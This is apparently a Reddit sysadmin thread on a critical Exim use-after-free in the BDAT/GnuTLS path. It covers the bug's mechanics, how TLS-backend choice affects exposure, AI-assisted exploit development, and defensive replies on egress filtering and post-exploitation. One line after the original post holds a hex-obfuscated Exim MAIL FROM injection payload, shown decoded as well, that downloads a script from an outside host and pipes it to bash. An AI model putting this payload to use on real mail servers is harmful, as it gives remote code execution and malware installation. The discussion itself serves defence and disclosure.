Exim CVE-2026-45185 "Dead.Letter" — CVSS 9.8 UAF via GnuTLS/BDAT, unauthenticated RCE. The BDAT handler has now been the source of two 9.8 CVEs.

Posted by Expert_Sort7434@reddit | linuxadmin | View on Reddit | 5 comments

Posting this as a discussion starter because the technical shape of this bug is worth talking through, not just the patch advisory.

**The bug (CVE-2026-45185 / Dead.Letter):**

Exim uses indirect function pointers to drive its SMTP I/O state machine. After STARTTLS, those pointers get replaced with GnuTLS-backed equivalents, and a 4096-byte `xfer_buffer` is allocated for encrypted I/O. During a BDAT transfer, if the client sends a TLS `close_notify` alert before the transfer is complete, Exim frees `xfer_buffer` — but the nested BDAT receive wrapper remains active. Send one cleartext byte afterward, and Exim's stale `tls_ungetc` calls `ungetc()` into the freed region.

That one `\n` byte lands on glibc's largebin `fd_nextsize` metadata. From there, XBOW demonstrated a chain to full RCE — and noted that an LLM assisted with parts of the exploit development during their 11-day coordinated disclosure window.

**What I think is worth discussing:**

**This is the second UAF in Exim's BDAT handler** — CVE-2017-16943 was structurally almost identical, 9 years ago. At what point does a recurring bug class in the same code path warrant a memory-safe rewrite of that component?
**The GnuTLS vs OpenSSL split** — Debian/Ubuntu default to GnuTLS-backed Exim; RHEL/SUSE ship OpenSSL-linked builds. The blast radius of this CVE is *entirely* determined by a compile-time flag most sysadmins never thought about. How many organizations actually know which TLS backend their Exim binary uses?
**AI-assisted exploit development during disclosure windows** — XBOW mentioned this somewhat casually. Are we going to start seeing this become routine? What does a 48-hour time-to-weaponized-exploit do to the coordinated disclosure model?

---

I wrote up a full technical breakdown (the heap corruption mechanics, exploit chain steps, affected distros, log-based detection) here if you want more background: https://www.techgines.com/post/dead-letter-exim-cve-2026-45185-a-critical-unauthenticated-rce-is-hiding-inside-your-gnutls-mail

I previously covered the PAN-OS CVE-2026-0300 buffer overflow here which shares the same "always-exposed infrastructure" operational problem: https://www.techgines.com/post/cve-2026-0300-pan-os-buffer-overflow-rce-user-id-authentication-portal

Curious what the community thinks — especially anyone who's done forensics on a compromised Exim host before. What does post-exploitation look like in practice on a shared hosting node?

MAIL FROM:<${run{\x2Fbin\x2Fsh\t- c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20http\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\ x20bash\x22}}@hostapp.be> Hex decoded command: /bin/sh -c "exec /usr/bin/wget -O - http://hostapp.be/script1.sh | bash"

[-]

john_crimson81@reddit

second 9.8 specifically out of the BDAT handler. at some point that's not a bug pattern, that's an architectural one. exim's configurability is its whole value proposition and also why it keeps producing these — the attack surface is proportional to the feature set. postfix does less and that's exactly why it's been safer by comparison. patch it obviously, but if you're running exim publicly it's worth asking internally whether you actually need exim or whether you're running it because it was there when you inherited the system. for a lot of orgs the answer is going to be "we have one weird mail routing rule we could rewrite in postfix in a day and we've just never done it."

BoringLime@reddit

Personally this is just the ai effect in security landscape. Everyone is releasing fixes for mythos/project glasswing and the other ai tools lately. Seen the fourth multi decade Linux kernel cache bug released today. The last week was quite impressive. Palo, Cisco, fortinet, Microsoft and a lot of others have been busy with critical cve this week as well.

devseglinux@reddit

The part that stands out to me is the repeat bug class more than the individual CVE.

If the same handler has produced structurally similar UAF issues years apart, that feels less like “one bad bug” and more like a sign the surrounding design is hard to reason about safely.

I’m usually cautious about saying “rewrite it in memory-safe language” because that’s easy to say from the outside and painful in real infrastructure. But for narrow, exposed, high-risk parsing/state-machine components like this, it starts to make a lot more sense.

The TLS backend split is also a good reminder that “are we affected?” is often harder than people think. A lot of orgs know package name + version, but not always compile-time options or linked libraries. That’s where asset inventory gets very real very fast.

On the AI-assisted exploit point, I think that’s probably going to become normal. Not because AI magically writes reliable exploits end-to-end, but because it can compress the boring research/debugging loop. That matters a lot during disclosure windows.

For shared hosting, I’d be less worried only about initial RCE and more about what happens after:

mail spool access
credential harvesting
lateral movement between customer environments
persistence through cron or modified configs
abuse of the host for outbound spam/phishing

Curious how many teams actually have Exim-specific detection ready versus just “patch and hope”.

tsammons@reddit

Simple solution is to swap Exim with a quality MTA like Postfix.

gainan@reddit

What does post-exploitation look like in practice on a shared hosting node?

downloading remote files to /tmp, /var/tmp or /dev/shm , collect credentials and try to keep persistance (and mine cryptocoins): https://github.com/evilsocket/opensnitch/discussions/1119

Based on this collection of Linux malware payloads, restricting outbound connections by binary is a good measure to mitigate these attacks.

In this scenario, the connection could be initiated by curl, wget, bash or exim. If you don't need curl or wget on the system, just uninstall them.

Also, why on earth would bash need to establish outbound connections on a (production) server?

On the other hand, in some cases the outbound connection could be initiated by the vulnerable application. In this case exim, which should only open outbound connections to a limited number of ports (25, 53, 465, 587, ...), no 80 or 443.

Example of a previous exim PoCs, weaponized to open outbound connections to a remote port using bash: https://straightblast.medium.com/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588

https://www.cisa.gov/news-events/alerts/2020/05/28/nsa-releases-advisory-sandworm-actors-exploiting-exim-vulnerability

from the report: https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf